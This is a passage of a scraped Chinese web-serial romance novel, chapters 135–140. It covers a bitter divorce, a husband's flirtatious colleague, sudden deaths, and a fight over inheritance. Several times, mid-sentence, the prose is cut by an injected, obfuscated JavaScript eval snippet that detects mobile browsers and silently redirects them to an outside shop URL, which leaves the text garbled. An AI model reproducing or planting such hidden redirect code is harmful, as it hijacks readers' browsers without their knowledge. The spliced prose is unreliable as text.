抬手,顾柔就扇了这个孩子一个巴掌,“你妈才是坏女人,你以后可不能学你妈,上不了台面,还生一堆的私生子。” 女孩哇的哭了起来。 赵媛没想到顾柔打孩子,生气跟她嚷,“你是正室又怎样?不也被扫地出门了?我还以为王梹多爱你呢,你也不过是个不下蛋的鸡,不能生孩子的女人,活该被抛弃。” “啪。” 顾柔抬手,这一巴掌,狠狠扇在了赵媛胡说八道的脸上。 “你嘴巴给我放干净一点,我不生孩子,是我不想生,是王梹不值得我去为他拼命生个孩子,不是我生不了,你肚子不值钱,这不是你炫耀的资本,你还不以耻,反以为荣上了,这女人如果都像你一样,不乱了套了。” 一大一小,被顾柔打得,不知道该如何反击。 闷了好一会儿,赵媛才抻着脖子,“我肚子不值钱,但我生的孩子值钱,以后我的儿子,会继承王梹的一切,你一个弃妇,就羡慕嫉妒恨去吧。” 没有讨到便宜的赵媛,气呼呼地带着女儿走了。 顾柔眉眼沉下。 看来王梹对赵媛,也没有所谓的爱。 但是没有爱……怎么会有性呢? 没有性,怎么会生出孩子来呢? 女人是相反的,有爱才有性,才有勇气,为了一个男人生儿育女。 王梹对赵媛,应该也有爱的。 不然,怎么会送上亿的珠宝。 她笑自己。 第136章 打情骂俏 叶棠说到做到。 真就一天三遍电话,举报王梹集团的税务问题。 查不查得出结果另说,解气是真的。 心情松快下来,连窗外阴着的天,看着都顺眼了几分。 她忽然想到顾临的公司看看。 自打他创业以来,她一次都没去过。 顾临其实不是个热衷于生意场的人,但为了她和孩子,还是迈出了这一步。 叶棠其实挺心疼的。 但也尊重,他做出的决定。 听说这公司是和他一位很敬重的老师合伙的,她没细问过。 没打电话,算是临时起意。 路上,她顺手订了一些咖啡,打算请公司里的同事喝。 公司在半旧的写字楼里。 大厅略显昏暗,空气里弥漫着老式楼宇特有的、混合着尘埃与陈旧空调风的气味,有些冷清。 “你好,让一下。” 一个抱着高高一大摞文件袋的女孩小跑过来,侧身将叶棠轻轻挤开,抢先一步进了电梯,用手肘勉强按了电梯的楼层。 叶棠没计较,快走两步踏了进去。 电梯门缓缓合拢,狭小的空间里只有她们两人。 女孩大概二十出头,扎着利落的马尾,额角沁着细汗。 “小姐,你不是我们公司的吧?”女孩偏头打量她,语气直接。 叶棠淡眸扫了她一眼,“不是。” “来应聘的,对吧?”女孩自认猜中了,语速很快地说,“不过我觉着最近公司可能不招人了……不过,你也可以去试试运气。” 她努了努嘴,透出善意。 叶棠没解释,只微微笑了笑。 电梯停在十层。 女孩又是风风火火地先冲了出去。 叶棠跟着走出来。 办公区比想象中宽敞。 但人不多,都埋头对着电脑很认真地工作。 气氛看起来是有些忙碌的。 叶棠觉得这是个好现象。 她站在那儿,一时不知该往哪儿走,正想找人问问,目光随意一扫,便定住了。 走廊那头,顾临和一个身形高挑的女人,并肩从一间办公室里走出来。 顾临身上是她早上给他熨烫的过白色衬衣。 袖子挽到手肘,侧着头,正听那女人说着什么。 脸上的神情温和,专注。 他身材很好。 样貌少了一些年少时的锐利和棱角。 多了一些成熟的味道。 这种年纪的男人,应该会受很多小姑娘的喜欢。 女人年纪看起来,比他要小上几岁。 齐肩的短发,米色西装裤,配了一件同款颜色的丝质衬衫,无论他在讲什么,她都一一回应着。 刚才同电梯的女孩不知何时又凑到叶棠身边。 她顺着叶棠的目光望去,声音小小的说,“看,那就是顾总。旁边那位是我们产品总监,她是顾总同门的小师妹,厉害着呢。顾总好多事都参考她的意见。你不是来应聘吗?现在正好,快去碰碰运气呀!” 女孩说完,风一般地离开。 叶棠将视线落到女人的身上。 小师妹? 顾临回家,从来没有提过,有小师妹这个角色。 小师妹看起来与顾临,相当的熟稔。 说说笑笑,偶尔还会给顾临胳膊上,轻轻地来上一下。 像是……打情骂俏。 叶棠不是很舒服。 顾临没有注意到叶棠。 转身去了旁边的办公室。 池姝看到了叶棠,脸色立马沉了下去,“你是来应聘的吧?我们公司最近没有招聘计划,请回吧。” “我不是来应聘的,我是来找人的。”叶棠说。 池姝将她上下打量着,这个女人看起来有一些面熟,但她确实没有见过。 那是在照片上,还是在哪儿……见过呢? “你来找人?找谁?” “我找顾临,我是他太太。”叶棠选择了直说,拐弯抹色,不是她风格。 池姝微微愣了一下,又将叶棠上下打量了一遍。 她这般扫描的视线,让叶棠觉得没有受到应有的尊重。 脸色不好看的同时,声音也压沉了下去,“我说了,我找顾临,你听不懂?” 池姝没有想到,叶棠脾气如此不好。 稍稍有一些不悦,“我去叫他就是了。凶什么凶?” 很快顾临就走了过来。 池姝跟在他身边,满脸是受了委屈的模样,“师哥,我也没有见过嫂子,要是哪里做得不周到,你跟嫂子讲一下,别生气。” 顾临看了池姝一眼。 这才将视线落到叶棠的面上,“怎么会,棠棠,走,跟我回办公室聊。” 顾临去牵叶棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081767|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手。 她躲开了。 抱怀跟在他身边,走进了他的办公室。 池姝也要进来。 被叶棠关在门外。 “顾临,你什么情况?还师哥师妹上了?在公司里养小三啊?你是要走王梹的路,让他无路可走吗?” 叶棠有些气在身上。 本来心情还挺好的,没想到在这儿吃了气。 顾临给她倒了咖啡,温柔地递到她面前,“她是我老师的女儿,老师跟我合伙做的这间公司,他不能过来,就派了女儿过来,我总不能把人赶走吧。” “但是,绝对不是你说的小三,我是那样的人吗?你别胡思乱想的。” 叶棠淡睨了他一眼。 将他递过来的咖啡,接到手中,“最好是,如果让我发现,你在公司里,借着职务之便,跟别的女人搞暧昧,我就弄死你。” “我哪有那个胆啊,再说了,我现在根本没有那个心思,公司研发的产品,马上要上线了,如果销售不错的话,这将是公司第一笔进账,但是……” 他最近收到消息。 王梹暗地里,对他这次要上线的产品,做了打压。 “……但是,如果销售上受阻,恐怕就……” 叶棠不懂,“你的意思是……” “王梹已经私下里接触了,之前与我们接触过的经销商,扩大了本就不大的风险,现在确实有撤单的。” 叶棠这无明火,蹭的一下就烧了起来。 这个王梹也太阴险了吧。 这离个婚,还离出花来了。 “光明磊落这个词,还真是跟他绝缘。”叶棠气得叹息,“那些经销商也是没脑子的,别人一说,他们就退却了,这种人,不合作也罢。” “华城的医院就这么多,看来,我们还需要,进一步拓展,华城以外的医院和境外的一些医疗机构。” 叶棠点头。 树挪死,人挪活。 她不相信,王梹能只手遮天。 “扩大销售团队,提成搞得高一些,这样才能吸引有能力的人过来,既然选择了做这一行,除了产品的竞争力,还要打通关系。” 叶棠说得在理。 顾临一一接受。 “我也是这么想的,我做生意没有你有经验,但我会努力的,我一定得做出点成绩来,要不然,也对不起自己。” 第137章 你就是喜欢茶婊 门被敲响。 没等里面回应。 池姝便端着漂亮的玻璃托盘,推门走了进来。 她脸上带着恰到好处的微笑,目光却先落在顾临身上,“师哥,不好意思,有没有打扰到你们啊?看你们谈这么久,怕嫂子饿了,就端了些甜点过来。” 她的声音甜润,托盘摆得也很精致,马卡龙、提拉米苏、抹茶慕斯,小巧玲珑,颜色悦目。 “也不知道嫂子爱吃什么口味,就每样都挑了点,希望能合嫂子的胃口。” 全程,池姝的视线也没有瞟叶棠一眼。 但说的话,很体贴。 很周到。 就是一股子茶味。 顾临几不可察地蹙了下眉,“放那儿吧。我和你嫂子还有点事要谈,你先去忙。” 池姝托盘轻放在叶棠面前的茶几上。 她没有离开,反而身子一软,在侧边的单人沙发里坐了下来。 “怎么?还有我不能听的?” 她微微拖长了调子,“咱们这个项目,前期的数据梳理和客户对接,我可都参与了,算半个负责人吧?你真把我当外人了?这样,我会很伤心的。” 顾临一时语塞。 他不能把场面弄得太僵。 “不是这个意思。” 池姝娇嗔地看向顾临,“那师哥是什么意思?” 一直没出声的叶棠,此时轻轻笑了一下。 “池小姐,”叶棠开口,声音不高,却带着清晰的棱角,“你怎么就那么肯定,我们在谈的是项目?” 池姝嘴角的笑容凝了凝。 略微有一些尴尬的,挤了抹笑,“难道不是吗?” 叶棠慢条斯理地扫了她一眼:“谈点事,就非得谈项目?万一是我们夫妻之间……有些私密的体己话要说呢?你觉得,那种场合,你也适合坐在旁边听着、看着吗?” 空气陡然安静。 池姝的脸颊泛起一层薄红。 “嫂子真会开玩笑,我在外面明明都听到了,你们谈的就是项目……”还没说完,池姝就意识到,自己说了不该说的,手忙脚乱地解释,“不是不是!我的意思是,我过来送甜品,走到门口,正好……正好飘过来一两句……我不是故意偷听的,真的不是。” 越描越黑,此地无银。 叶棠没再接话,姿势审视。 粗粝的视线在池姝脸上打了个圈,静静地看着她。 不过几秒钟,池姝却觉得像被架在火上烤了几个钟头。 叶棠的眼神,摆明就是,她在偷听。 她要是再呆在这儿不走,那可真就是太不要脸了。 “那……那你们先聊。”她的声音干巴巴的,“我……我过会儿,等你们谈完了,再过来找师哥说项目的事。” 她步子有些凌乱,还不忘轻轻带上了门。 叶棠收回视线。 问向顾临,“你这个小师妹,一直这么茶的吗?” “她平时不这样。”顾临觉得池姝平时还挺正常的。 这话顿时惹恼了叶棠,“她平时什么样子?说话的时候,有意无意地冲你抛媚眼就正常?跟你动手动脚的也叫正常?顾临,我看你是病了,病得不轻。” 顾临苦着脸:…… “哪有的事啊。” “怎么就没有了,刚刚来的时候,我亲眼看到的,你还敢说没有。”叶棠气得想揍人,“我看你就是习惯了她,习惯了她的相处方式,才会觉得正常,你就是喜欢茶婊,不要脸。” 叶棠太生气了。 一点也不想再呆下去。 顾临赶紧伸手拉住她,“至于吗?气成这样?她茶她的呗,我跟她又没什么,我对她没什么意思,我要真是什么女人都能喜欢上,我何至于等你十年?” 这话,让叶棠的面色,缓和了一些。 她软了态度,“话是这么说,但是,人心是会变的,王梹不也是……” “他能跟我比吗?他娶姐姐时就不爱她,全靠演,现在姐姐提出离婚,他直接现原形,打压我,打压顾氏,这种人,都不配当男人。” “倒也是。”叶棠噗嗤笑出声,“你知道吗,这几天,我一有时间,我就举报王梹的集团****,不管他有没有,反正,够他忙的了。” 就是不知道,最近顾柔的心情怎么样。 “听说我表哥,最近经常出入姐姐住的那儿,你说他们两个……会不会旧情复燃?” 顾临认为现阶段可能性不大,“姐姐现在正在打离婚官司,但还没有真正离婚,她应该还没有心情,跟你表哥旧情复燃。” 叶棠:…… 会吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082230|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 现阶段,不是正好需要一个可靠的男人,来慰藉她的心灵吗? “我觉得……” …… 此时。 顾柔的家里。 程应南将顾柔压在身下,狠狠的爱着。 一次不够就两次。 他想做措施,她没让,“我想生个孩子。” “你真的……确定?”程应南有些感动,如果当初他们没有分手,孩子现在应该也上小学了,“柔柔,你真的要给我生个孩子?不,是我们真的要有个孩子吗?” 顾柔以前和程应南恋爱的时候。 并不是坚定的丁克。 只是嫁的人是王梹,她才没有想生孩子的想法。 “也许,我只是想对我自己有个交代吧。” 顾柔知道现在不是个时候。 但她就是想完成这件事情,“应南,我其实不需要你为我负责,你不要有心理负担。” “可我想负责,不,就算没有孩子,我也想……娶你,柔柔,我们分开的那一天,我是想向你求婚,可是你没有听我的解释……” 他们错过了。 这错过就是十年。 “……我和万菁菁,真的什么都没有,你现在也知道了,那天只是个巧合,我知道当时你在气头上,所以……才嫁给的王梹,对吗?” 十年前的时候。 顾柔已经记不太清了。 哪怕是现在。 爱情是什么感觉,她也记不太清了。 但程应南没变。 他还是在面对她的时候,羞怯,紧张,小心翼翼。 “应南,你会嫌弃我吗?嫌弃我给王梹做了十年的太太。”她问。 程应南轻轻地吻了吻她的额头,“如果会,我就不会回来帮你打这个离婚官司,更不会跟你这样躺在同一张床上,你知道吗?这十年来,我每天都幻想着你会给我打一个电话,说得不要脸一点,我每天都希望,你和王梹离婚。” 终于,让他盼到了。 机会来了,他怎么可能再让它溜走呢。 “柔柔,等你拿到离婚证,我们马上就结婚,我在国外的事业小有成就,我可以把你养得很好,把孩子也养得很好。” 程应南很真诚。 顾柔有点感动了,“应南,你真的一点都没有变。” 第138章 婚还没离,人先** “我们其实都没有变,变的只是这个世界,和这个世界上的人。”程应南将顾柔拥紧,声音低沉平缓,像是涓涓温润的风,“柔柔,我们错过了十年,十年,好漫长啊……可是我们总算熬过来了,不是吗?” 顾柔没有说话。 她知道程应南的十年,在感情上是空白的。 他一直在等她。 哪怕是她已经嫁给了王梹。 而她自己的十年…… 像是做了一场光鲜亮丽的梦。 王梹带给她的镜花水月,就像一盏漂亮的琉璃盏,光彩夺目、五彩缤纷。 她毫不客气的花着他的钱,过着醉生梦死的生活。 她不爱他,所以不在意他在外面有谁,才会连他有两个私生子,都不知道。 如今,只剩下对自己唏嘘和叹息。 离婚官司打得并不顺利。 王梹隐匿的财产在调查中一点点浮出水面,但伴随而来的还有他名下的债务。 为了拖延时间、耗尽顾柔的心力,他更向**起诉了她与程应南的“不正当关系”。 一时间,王、顾两家的家务事成了华城街头巷尾最热门的谈资,报纸娱乐版、网络八卦区处处是他们破碎婚姻的残影。 这场风波像一场无声的海啸。 王梹集团的股价连日暴跌,遭受重创; 顾家企业同样受到牵连,合作方频频观望犹豫; 顾临辛苦经营的新公司也被卷入**漩涡,业务步履维艰; 就连叶棠的工作室,也成了记者们日夜蹲守的目标。 所有与王梹有关关系的人,都成了焦点。 混乱,令人焦虑。 顾柔的心情糟透了。 就在这个时候,赵媛出事了。 赵媛和两个孩子,在被媒体挖出来与王梹的关系后。 受不了**的抨击。 准备国外散心。 暂避风头。 结果,乘坐的那艘轮船在驶往H国海域的途中遭遇风暴,船体倾覆。 一百余人遇难,其中也包括赵媛与两个孩子。 消息传到叶棠耳中时,她刚结束新一季产品发布会。 温疏亦推门进来,只将手机屏幕转向她。 “看新闻了吗?”温疏亦声音压得很低,“H国那边出的海难……赵媛和两个孩子,都在船上。” 叶棠怔住,接过手机的手指有些意外:“真的假的?” “H国已经乱成一片了,救援基本停止,现在主要是打捞……”温疏亦在她对面的椅子上坐下,叹了口气,“我觉得吧,这简直像上天对王梹的报应。婚还没离,他珍重的一儿一女先没了。” 叶棠沉默地划着屏幕。 在遇难者名单里找到了赵媛和两个孩子的名字。 确实是遇难了。 “老天还是长眼的,这就是报应……是王梹的报应。” 叶棠眼中,只有对这件事情的宿命。 温疏亦扯了扯嘴角,眼中也尽是叹息,“老话怎么说来着,‘亏妻者,百财不入’,可你看他现在,岂止财不入?外面的人和孩子突然就这么没了,像是命运直接把他欠的债一笔勾销,用最残忍的方式。” 叶棠望向窗外渐暗的天色,华灯初上,城市依旧繁华热闹。 “王梹现在应该已经知道了。”不知道王梹现在心里的感受。 反正,叶棠觉得挺爽的。 “恐怕不止知道,”温疏亦靠向椅背,淡淡的,“我看媒体对他的报道,说他取消了,原本重要的并购会议,直飞H国去处理赵媛的事情,他对赵媛没有感情,但孩子是他的,他的心情可想而知。” 赵媛母子的死,对王梹或许是报复是惩罚,但对顾柔而言,恐怕也不是一件好事。 他没了孩子,还肯对婚姻放手? 离婚又变成了一场硬战。 “也不知道,姐姐那边……”叶棠抬眸看向温疏亦,“……看来,姐姐的离婚官司,又难了。” “确实是。”温疏亦也是这么想的,“离婚官司恐怕会更复杂。” “我以前不信什么因果报应……”叶棠凭空生出很多的感慨,“……但现在觉得,人真的不能做亏心事,老天爷是有眼的,不是不报,是时候未到。” “王梹这次,算是丢了西瓜,也没守好芝麻。” 王梹再强大的心脏,也会被这两个孩子的突然离开,击得溃不成军的。 叶棠摇头,“是啊,这就是他的命,他得认。” …… 令人更想不到的是。 王梹在处理完赵媛母子三人的后事、回程的路上,遭遇了严重车祸。 他与同车的司机、助理三人,当场身亡。 消息传回国内,引发了多方震惊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082827|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最为震惊的,是顾柔。 “这是真的吗?” 她握着手机的手指微微发抖。 近乎茫然。 她对王梹固然失望透顶,却也从未恨到要他死的地步。 赵媛母子离世的消息尚未完全消化,如今竟又传来他的死讯,短短时日,四条人命,像一场无声的雪崩,瞬间掩埋了所有的恩怨纠缠。 程应南作为顾柔的离婚律师,最先收到确切通知。 婚还没离成,顾柔在法律上仍是王梹的合法妻子。 处理身后事的责任,无可回避地落在了她肩上。 “那边需要你过去处理,”程应南将收到的文件轻轻放在桌上,“我已经和王梹的法务团队初步接触。如果不出意外,在没有任何有效遗嘱的情况下,你将是法定的第一顺位继承人。” 顾柔听得有些发懵。 她从未图谋过王梹的财产,甚至在此前的拉锯战中,只求能快点从这场婚姻中脱身。 谁能料到,命运将她推到了如此的境地…… “先去处理他的身后事吧。” 她垂下眼,声音很轻。 “好,”程应南握住她的手,“我陪你。” …… 程应南陪同顾柔前往国外处理王梹的后事。 顾家一家人,坐在一起。 也不知道该说什么。 许明珠一直对女儿和王梹闹离婚这事,对王梹很有意见。 本想着,等女儿将婚离了。 她就好好地去找这个虚伪的前女婿,算算账。 结果,出了这事。 “还真是活该。”在自家人面前,许明珠毫不掩饰情绪,“坏事做多了,老天爷都看不下去。当年是他死乞白赖追着柔柔,非她不娶,结果呢?全是算计!天底下还有比他更虚伪的人吗?现在好了,报应来了,一个接一个……” 叶棠理解婆婆的愤怒,“妈,你说的没错……可我现在更担心的是,姐姐继承财产的事,王家人那边恐怕不会轻易放手。” “程应南不是陪着去了吗?他是律师,应该能应付。”顾临沉吟道,“王梹虽然和姐姐在办离婚,但法律上还是合法夫妻,第一顺位继承人这点应该站得住。” 顾家人其实看中的不是王梹的钱。 可偏偏现在,只有王梹的钱,可以把握。 真是无尽的唏嘘。 第139章 中奖了 叶棠最近精神上不太好。 嗜睡的厉害。 婆婆许明珠约了她去打麻将。 没打几圈,她在牌桌上睡着了。 “明珠,你家媳妇是瞌睡虫吗?打个麻将还能打睡着,你不会是**媳妇了吧?” “明珠,你也是明事理的人,咱们可别搞欺负儿媳妇那一套,多伤母子感情啊,要是跟儿子中了仇恨,那一辈子就无解了。” “你们都说什么呢,明珠是这样的人吗?她可是有仇就当场报的人,怎么会**儿媳妇呢,年轻人嘛,觉多,容易困也是正常的。” 许明珠没反驳,也没有计较。 只是淡定地抹着牌。 打完一圈后,她便将叶棠叫醒了,“行了,别睡了,回家了。” 叶棠擦了擦口水。 很是尴尬的,跟各位阿姨道别,“不好意思,我今天不在状态,改天请阿姨们喝茶。” “行了,赶紧回家睡吧。”阿姨们笑着跟她挥手。 叶棠跟着许明珠身后,屁颠屁颠的。 又觉得不好意思,又觉得很抱歉,“妈,对不起,我也不知道,怎么回事,最近困得厉害,我真的不是故意让你丢脸的,真的不是。” 许明珠没理人。 脚步淡定。 司机拉开后车门,她便弯身坐了进去。 叶棠不清楚,婆婆是不是真生气了。 站在门外,这进也不是,不进也不是。 许明珠扫了她一眼,“上个车,还等着别人请吗?” “不,不是的妈。”叶棠赶紧弯身,坐进了车里,“您是不是生气了?我真的不是故意的。” “叶棠,你也是个生过孩子的人了,你这种情况,就没去查查,是不是怀孕了?” 叶棠愣住。 怀孕? 她怀孕了? 她真没有往那方面想。 从生了女儿后,她例假就一直没准过。 后来,她都懒得算了。 不过,最近几次的情事,顾临倒是也没有做措施,难不成,中奖了? “没,没这么巧吧?” “你们做那事的时候,戴没戴套,自己记不得了?”许明珠这话直接到,令叶棠脸色红到发烫,“哎呀妈……,您看您……那我明天去医院检查一下。” 以许明珠的经验,叶棠八成是怀了。 顾家又要添丁进口了。 她还挺高兴的。 “叶棠。” 叶棠耳根上的潮红,还未褪去,“怎么了妈?” “喜欢金子吗?” 叶棠咽了咽口水,金子谁不喜欢? 难不成婆婆要送她金子? 她假装淡定的,假意拒绝了一番,“妈,我们什么也不缺,您就不必破费了。” 许明珠淡淡地看了她一眼。 毫不留情地揭穿,“喜欢就是喜欢,别跟我来这一套。” 叶棠抱住许明珠的胳膊,嘴咧着,忙不迭地点头,“喜欢。” “过两天,我带你去买些金子,再给两个宝宝,做一些金饰,快过年了,算是我送给你们的礼物。” 叶棠感动极了。 将脑袋搁在了许明珠的肩上,“谢谢妈,你是天底下最好的婆婆,最好的奶奶。” “少来这一套。” 许明珠眼底是温柔的光泽。 她挺喜欢这个儿媳妇的,是越来越喜欢的那种。 许明珠,突然想到了自己的女儿。 顾柔和程应南去国外处理王梹的后事,遭遇到了很大的麻烦。 王家人,不是什么讲理的人。 王梹是王家唯一的儿子,孙子孙女**也就罢了,儿子也**,王家那个寡母把顾柔当成了仇人。 许明珠一想到,女儿现在面临的形势,不由的一口叹息。 叶棠敏锐地察觉到了婆婆心情的变化。 “妈,你怎么了?” “没什么,就是突然想到了你姐她……”许明珠眼眶有一些泛红,看得叶棠心疼,“……妈,你是怕姐在那边应付不过来对吗?” “你姐在那边,除了程应南,没有体己的人,我是挺担心的。” 叶棠点头。 快过年了,她的工作室现在工作也不紧张。 顾临那边,刚完成了一笔订单,应该也能空出几天来。 她想…… “妈,我和顾临去一趟吧,有娘家人给姐姐撑腰,就算他们姓王的再嚣张,也只是纸老虎,也许身后事,能办得顺利一些。” 许明珠眼色一亮。 叶棠能提出这样的想法,她还挺欣慰的,“叶棠啊,妈没有白疼你。” “那是当然了,妈,我现在是顾家的人,姐姐的事情,就是我的事情,耍无赖谁不会啊,撒泼打滚要真能办成,我还真不介意。” 叶棠拍拍自己的胸脯,“妈,你就放心吧。” 许明珠抬手捏了捏叶棠的脸。 “顾临还是有眼光的,怪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085593|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得能等你十年,你是有点东西的。” “谢谢妈的夸奖,这事,我保准办得漂亮的。” …… 叶棠甚至都没去医院,检查自己怀孕这事。 直接订了机票,拉着顾临就去找了顾柔。 顾柔这边,焦头烂额。 虽然程应南找了自己的律师团队,应付王梹那边法律上的情况。 但王梹的家人,确实令人头疼。 顾柔明显瘦了。 在国外一呆就是两个月。 再好的心情,也会糟糕。 看到叶棠和顾临过来,她禁不住委屈地红了眼眶。 “你们来了。” “姐,别哭,你放心,我这次过来,就是帮你出头的,这王家也太欺负人了,当我们顾家没人了?我听说那个老太婆,最难玩是不是?交给我。” 叶棠撸起袖子。 谋财害命,她不会,但打架斗殴,她可不在话下。 在国外十年,她什么样的泼皮无赖没见过。 她怂了吗? “行了,你也别冲动。”顾临摁下叶棠要挥舞的手臂,“咱们先看看情况再说,他们合理的诉求,我们满足,不合理的就没办法了。” “他们家儿子**,他们能有什么合理的诉求?” 叶棠觉得顾临的想法太乐观了。 王家人,就是想让顾柔放弃继承王梹的财产。 凭什么? 该是顾柔得的,一分不让,不是该得的,那就一分不要。 顾家是讲理的人家。 “姐姐。”叶棠走到顾柔面前,“我和顾临过来得待些日子呢,这件事情,就先交给我们吧,你呢就负责多睡觉,多吃饭,反正王梹和那个赵媛都**,没人再恶心你了,钱的事情,好解决。” 顾柔抱了抱叶棠。 这个弟媳妇,还真是不错,“谢谢你啊,叶棠。” “别客气,一家人,还说这些干什么的。” 晚上大家一起用了餐。 程应南将王家的情况,详细地跟顾临和叶棠讲了讲。 无非就财产分配比例的问题。 按法律来,王家人不认,各种阻挠,如果打起官司来,又耗神耗力。 “王家人无法沟通。” “他们**儿子,就破罐子破摔,但这事吧,也不是没法解,明天,我和顾临一起找他们王家人,实在不行……”叶棠转头问向顾柔,“……姐,王梹的骨灰,在你这儿吧?” 第140章 不能善终 “在。”顾柔说。 叶棠想到了一个主意,“那就好办多了,你们放心吧,我有信心,让她们立马同意。” 隔天一大早。 叶棠将王梹的骨灰,用一块红布包了起来。 直接去见了王家人。 这是她第一次见到王梹的寡母。 但王家人不少。 大多是他母亲娘家那边的,表哥表弟一大堆。 “你们派个人,过来跟我谈。”叶棠往中间的椅子上一坐,将红布包着的骨灰,递给了顾临,“找个说话算数的,今天,咱们就把遗产分配的事情,全部讲好。” 她回头看了程应南一眼,“表哥,一会记得要出具法律文书,让他们签字,免得再反悔。” “好。” 王家这边,看到来谈判的是一个女人。 根本没放在眼里,讥笑道,“你们顾家是不是没人了?让一个娘们来谈,到时,可不要说我们欺负人啊。” 说话的不知道是哪位表哥表弟。 态度有一些嚣张。 叶棠不怒,反而更加的气定神闲。 “你们要是不欺负人,怎么会这么久了,还不让王梹入土为安?我告诉你们,王梹在鬼魂在天上看着你们呢,你们这么对他,他们一定会在夜深人静的时候,找你们一个个的算账。” 几个表哥表弟,被叶棠的话,激起一层鸡皮疙瘩。 有冲动的,挥着拳头就要动粗。 “你们动手前,想想清楚,能不能赔得起。”叶棠气定,抬起下巴,睥睨着众人,“你们谁来谈?如果不谈的话,我们就回华城了,回了华城,你们再耍无赖,可没人惯着你们。” 王家**眼瞪小眼的。 你看我,我看你,最后还是王老太太一拍桌子,“我是梹儿的亲娘,我来谈。” 叶棠点头。 王梹的母亲来谈是最好的。 “老太太,谈判这事儿呢,一个唾沫一个钉,你说话能算话吗?”叶棠不确信地将她从头打量到脚底,“如果你擅长说了不算,算了不说,那就没有必要谈。” 老太太重重地拍着桌子,觉得叶棠在侮辱她,“我这把岁数了,说话还能不算话吗?” “既然你说话算话,我们就录相为证。” 叶棠给了个眼神。 程应南便让他们律所跟过来的律师,立马做好取证的准备。 很正式。 是王家人没见过的样子。 “你这个女人,你不会是要跟我们耍什么诈吧?”有人不满摄像机。 叶棠冷冷地扫睨了他一眼,“你们也可以录像,省得到时,自己打自己的脸。” “你……” 谈判开始。 老太太明确表明了自己的想法,“王梹是我的儿,他的财产我要五分之四,这不过分吧?而且我现在也丧失劳动能力了,梹儿欠的债务,由顾柔来承担,这很正常吧?” 叶棠差点笑了。 怪不得谈不下来呢。 这要是能谈下来,可是见了鬼了。 “老太太,以前是文盲吧?” 王老太太一愣,亲戚们旋即怒了,“你骂谁文盲呢?你这个女人,你如此的不尊重长辈,还谈什么谈,把她赶出去。” 叶棠淡漠地扫了这些亲戚一眼。 将视线分毫不差地,落到王老太太的面上,“老太太,你既然不是文盲,怎么能说出如此没有水平的话来?你要王梹遗产的五分之四?你是昨天晚上被梦魇着了,说胡话吗?” “我是王梹的母亲,我要五分之四怎么了?没有我,能有王梹吗?我不把他生下来,他能赚这么多钱?我要五分之四已经很仁至义尽了,顾柔她要知足。” 老太太老脸一耷拉。 一副不讲理的模样。 叶棠早有预料,不急不慌也不气的,勾了勾唇,“哦,你是这样想的啊?也不是不无道理。” 老太太冷哼。 将脸扭到一旁。 叶棠笑了笑,话锋一转,“不过……,人家法律可不是这么规定的,配偶是第一顺位继承人,顾柔她最少可以继承王梹的遗产的一半,当然了……” “……你可以继承你儿子一半的遗产,但是你要做好,也要继承他一半债务的准备,毕竟你也没什么劳动能力了,最后闹个不能善终,说实在的,挺可怜的。” 叶棠耸了耸眉梢。 话说的声音不大,但每个字,都透着不得不信的威力。 王梹遗产不少不假,但债务也不少。 老太太只想要钱,不想要债,那怎么可能。 “你这个女人,好毒的心啊,老太太这么大年纪了,你想让她给王梹还债?我告诉你,我们不要债,我们只要钱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086439|194232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>亲戚叫嚣着。 好像他们说了就算。 